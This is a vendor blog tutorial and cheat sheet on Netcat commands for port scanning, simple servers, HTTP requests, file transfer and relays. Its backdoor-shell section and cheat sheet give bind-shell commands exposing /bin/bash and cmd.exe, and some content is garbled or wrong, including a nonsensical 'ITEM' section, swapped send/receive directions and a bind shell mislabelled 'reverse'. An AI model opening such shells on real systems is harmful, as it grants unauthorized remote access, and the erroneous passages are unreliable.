How to Use Netcat Commands: Examples and Cheat Sheets https://www.varonis.

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Blog Data Security

How to Use Netcat Commands: Examples and

Cheat Sheets
Learn what the Netcat utility program is and the different types of commands it
can support to help IT organizations manage their networks in a better way.

Michael Buckbee | 7 min read | Last updated June 9, 2022

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The Netcat utility program supports a wide range of commands to manage networks and
monitor the �low of tra�ic data between systems. Computer networks, including the world
wide web, are built on the backbone of the Transmission Control Protocol (TCP) and User
Datagram Protocol (UDP). Think of it as a free and easy companion tool to use alongside
Wireshark, which specializes in the analysis of network packets. The original version of Netcat
was released back in 1995 and has received a number of iterative updates in the decades
since.

Download the full Netcat cheatsheet

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Netcat Commands

Port Scanning with Netcat Commands

Create a Chat or Web Server

Verbose Scan with Netcat Commands

HTTP Requests with Netcat Commands

TCP Server and TCP Client Commands

ITEM with NetCat Commands

Prevent DNS Lookup with Netcat Commands

Shell Scripting with Netcat

Launching Reverse (Backdoor) Shells

Printable Netcat Cheat Sheet

Additional Netcat Resources

What is Netcat Used For?

Netcat can be a useful tool for any IT team, though the growth of internally managed network
services and cloud computing make that particular environment a natural �it. Network and
system administrators need to be able to quickly identify how their network is performing and
what type of activity is occurring.

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Netcat functions as a back-end tool that allows for port scanning and port listening. In
addition, you can actually transfer �iles directly through Netcat or use it as a backdoor into
other networked systems. Partnered with a tool like Varonis Edge, you would receive an alert
of any unusual activity and could then use Netcat to investigate. Lastly, Netcat is a �lexible tool
because of how it can be scripted for larger tasks.

Basic Netcat Commands

Once you have a Netcat application set up on your Windows or Linux server, you can start

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running basic commands to test its functionality. Here are a few to get started with:

nc -help – This command will print a list of all of the available commands you can use in
Netcat. It will come in handy if you run into any errors while writing a script or are unsure of
how to proceed.

nc -z -v site.com – This will run a basic port scan of the speci�ied website or server. Netcat will
return verbose results with lists of ports and statuses. Keep in mind that you can use an IP
address in place of the site domain.

nc -l – This command will instruct the local system to begin listening for TCP connections and
UDP activity on a speci�ic port number.

nc site.com 1234 (less than) �ile_name – This command will initiate the transfer of a �ile based
on the speci�ied port number.

Printf – Netcat can actually operate as a simpli�ied web host. This command will let you save
HTML code and publish it through your local server.

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Netcat Command Syntax

All Netcat commands must start with the “netcat” identi�ier or “nc” as a shorter option. By
default, the Netcat tool will assume you want to perform a port scan unless you indicate
otherwise.

Different option parameters can be used that include: “-u” for UDP tra�ic instead of TCP, “-v”

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for verbose output, “-p” to specify a speci�ic port, and “-D” to turn on full debugging mode.
Individual attributes within a Netcat command must be separated with a space. The command
prompt will inform you if you have a typo or unrecognized term in your script.

Port Scanning with Netcat Commands

When trying to diagnose a network issue or performance problem, executing a port scan with
Netcat is a smart �irst step to take. The scan will check the status of all ports on the given
domain or IP address so that you can determine whether a �irewall or other blocking
mechanism is in place.

A basic port scan command for an IP ncat address looks like this:

nc -v -n 8.8.8.8 1-1000

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Note that the numbers at the end of the command tell Netcat to only scan for ports between
numbers 1 and 1000.

If you don’t know the IP address of a server or website, then you can look it up via a ping
terminal command or just insert the domain into the Netcat command:

nc -v -n google.com 1-1000

You should always perform port scans when connected to your local enterprise network. If
not, you can con�igure your router with a VPN service to create a secure tunnel into the

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network.

Create a Chat or Web Server

Chat programs are on the rise. From open-source solutions to those that seemed to suddenly
gain massive popularity, there are a wide range of chat and communication tools available to
enterprise organizations. The reality is that some IT experts and system administrators would
prefer a simple text-only solution. Windows Netcat can actually �ill that need and allow for the
transmission of messages across a local network.

To get started, you �irst need Netcat to start listening on a port number. Make sure not to
choose a port that is already in use by another application or service.

nc -l -p 1299

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Then all you need to do is launch the chat session with a new TCP connection:

nc localhost 1299

This process can also be used to spin up a basic web server from your local machine. Netcat
will function as the web host and allow you to store HTML content which can then be viewed
through a web browser.

First, create a new text document on your local system and make sure to use valid HTML tags.
Then save the �ile as “index.html” and store it in the root of your Netcat directory. Now switch
back to the Netcat tool and run this command:

printf ‘HTTP/1.1 200 OK\n\n%s’ “$(cat index.html)” | netcat -l 8999

To see the HTML in action, simply open any web browser and navigate to your local IP address
with: 8999 at the end to specify the port of the host.

Verbose Scan with Netcat Commands

Every command you run in Netcat will include certain output text to indicate whether it was
successful or not. For troubleshooting and debugging purposes, you’ll want to gather as
much information and logs as possible while also investing in solutions like Varonis Datalert to
detect threats and respond quickly. Netcat can help thanks to the verbose parameter which
can be added to any basic Netcat command. Simply include “-v” to your command and run it
again.

Even with this setting turned on, Netcat will not reveal any of your credentials or

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authentication data.

HTTP Requests with Netcat Commands

We’ve covered how you can use Netcat to host HTML pages on your local system. But the
utility program can also be used to make web requests to outside servers. In this way, Netcat
will essentially function as a web browser by obtaining raw HTML code.

Along with a tool like Varonis Edge, Netcat can be helpful for IT professionals who are looking
into internet tra�ic issues or proxies. Here’s an example of how to obtain the HTML content
from Google’s homepage:

printf “GET / HTTP/1.0\r\n\r\n” | nc google.com 80

Note that the port number 80 is required for this type of command since the world wide web
uses it as a default for TCP over IP connections.

TCP Server and TCP Client Commands

Although the TCP protocol is primarily used for transferring web tra�ic around the world, it can
actually be implemented at a local level for �ile transfers. To accomplish this, you need to run
Netcat from two locations: one that will act as a server to send the �ile and one that will act as
the client to receive it.

Run this Netcat command on the server instance to send the �ile over port 1499:

nc -l 1499 > �ilename.out

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Then run this command on the client to accept, receive, and close the connection:

nc server.com 1499 (less than) �ilename.in

Make sure to replace “server.com” with the full hostname or IP address of the sending server.

ITEM with Netcat Commands

Newer versions of Netcat allow you to use ITEM format for transferring data instead of the
standard TCP or UDP protocols. To accomplish this, you must follow this syntax:

�ile_path (pipe) device_path (pipe) network host

Prevent DNS Lookup with Netcat Commands

Netcat commands run fastest when they are operating purely on IP addresses. This because
no time is wasted talking to domain name servers (DNS) to translate server names into IP
addresses. If you �ind that your Netcat commands are still running slow, make sure to add the
“-n” operator so that the utility knows that DNS lookups are not required.

Shell Scripting with Netcat

As mentioned earlier, one of the bene�its of using Netcat is that it can be included as part of a
larger script that performs an automated function. As part of your security procedures, you
might want to run a full port scan on all of your servers to detect new malicious applications
that are listening for a connection.

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You could write a script that:

1. Imports a text �ile of server names or IP addresses

2. Calls Netcat to run a port scan on each server
3. Writes the output to a new text �ile for analysis

Multiple Netcat commands can be grouped together in a single script and be run through
either a Linux or Windows shell. In some cases, it may be worthwhile to have the scripts on a
regular timetable.

Launching Reverse (Backdoor) Shells

To get started, you need to enable the shell tool over a Netcat command by using Netcat
reverse shell:

nc -n -v -l -p 5555 -e /bin/bash

Then from any other system on the network, you can test how to run commands on host after
successful Netcat connection in bash.

nc -nv 127.0.0.1 5555

A reverse shell is a remote access approach where you run administrative commands from one
terminal while connecting to another server on the network. To get started, you need to
enable the shell tool over a Netcat command by using Netcat reverse shell:

nc -n -v -l -p 5555 -e /bin/bash

Then from any other system on the network, you can test how to run commands on the

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selected host after successful Netcat connection in bash:

nc -nv 127.0.0.1 5555

Netcat Cheat Sheet

Until you start using Netcat on a regular basis, you might get confused about the command
syntax or forget what some of the parameters do. Don’t worry! We’ve included a cheat sheet
below to help you �ind what you need quickly to run a working Netcat command.

Netcat Fundamentals

nc [options] [host] [port] – by default this will execute a port scan

nc -l [host] [port] – initiates a listener on the given port

Netcat Command Flags

nc -4 – use IPv4 only

nc -6 – use IPv6

nc -u – use UDP instead of TCP

nc -k -l – continue listening after disconnection

nc -n – skip DNS lookups

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nc -v – provide verbose output

Netcat Relays on Windows

nc [host] [port] > relay.bat – open a relay connection

nc -l -p [port] -e relay.bat – connect to relay

Netcat Relays on Linux

nc -l -p [port] 0 (less than) backpipe (pipe) nc [client IP] [port] (pipe) tee backpipe

Netcat File Transfer

nc [host] [port] (greater than) �ile_name.out– send a �ile

nc [host] [port] (less than) �ile_name.in – receive a �ile

Netcat Port Scanner

nc -zv site.com 80 – scan a single port

nc -zv hostname.com 80 84 – scan a set of individual ports

nc -zv site.com 80-84 – scan a range of ports

Netcat Banners

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echo “” | nc -zv -wl [host] [port range] – obtain the TCP banners for a range of ports

Netcat Backdoor Shells

nc -l -p [port] -e /bin/bash – run a shell on Linux

nc -l -p [port] -e cmd.exe – run a shell on Netcat for Windows

Additional Netcat Resources

Using Netcat with RedHat

Introduction to Netcat on Youtube

Netcat for Security

Fun lessons with Netcat

In today’s fast-changing world of technology and increasingly complex networks, companies

need to be proactive when it comes to cybersecurity. That means hiring experts who know
what threats to look for and how to combat them. Otherwise, a single instance of a
cyberattack like ransomware could lead to lasting damage for the entire organization. Pairing
solutions from Varonis with tools like Netcat will help to keep your internal network safer.

What should I do now?

Below are three ways you can continue your journey to reduce data risk at your company:

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1 Schedule a demo with us to see Varonis in action. We'll personalize the session to your org's
data security needs and answer any questions.

2 See a sample of our Data Risk Assessment and learn the risks that could be lingering in your
environment. Varonis' DRA is completely free and offers a clear path to automated
remediation.

3 Follow us on LinkedIn, YouTube, and X (Twitter) for bite-sized insights on all things data
security, including DSPM, threat detection, AI security, and more.

Michael Buckbee
Michael has worked as a sysadmin and software developer for Silicon Valley
startups, the US Navy, and everything in between.

Try Varonis free.

Get a detailed data risk report based on your company’s data.

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Varonis tackles hundreds of use cases, making it the ultimate platform to

stop data breaches and ensure compliance.

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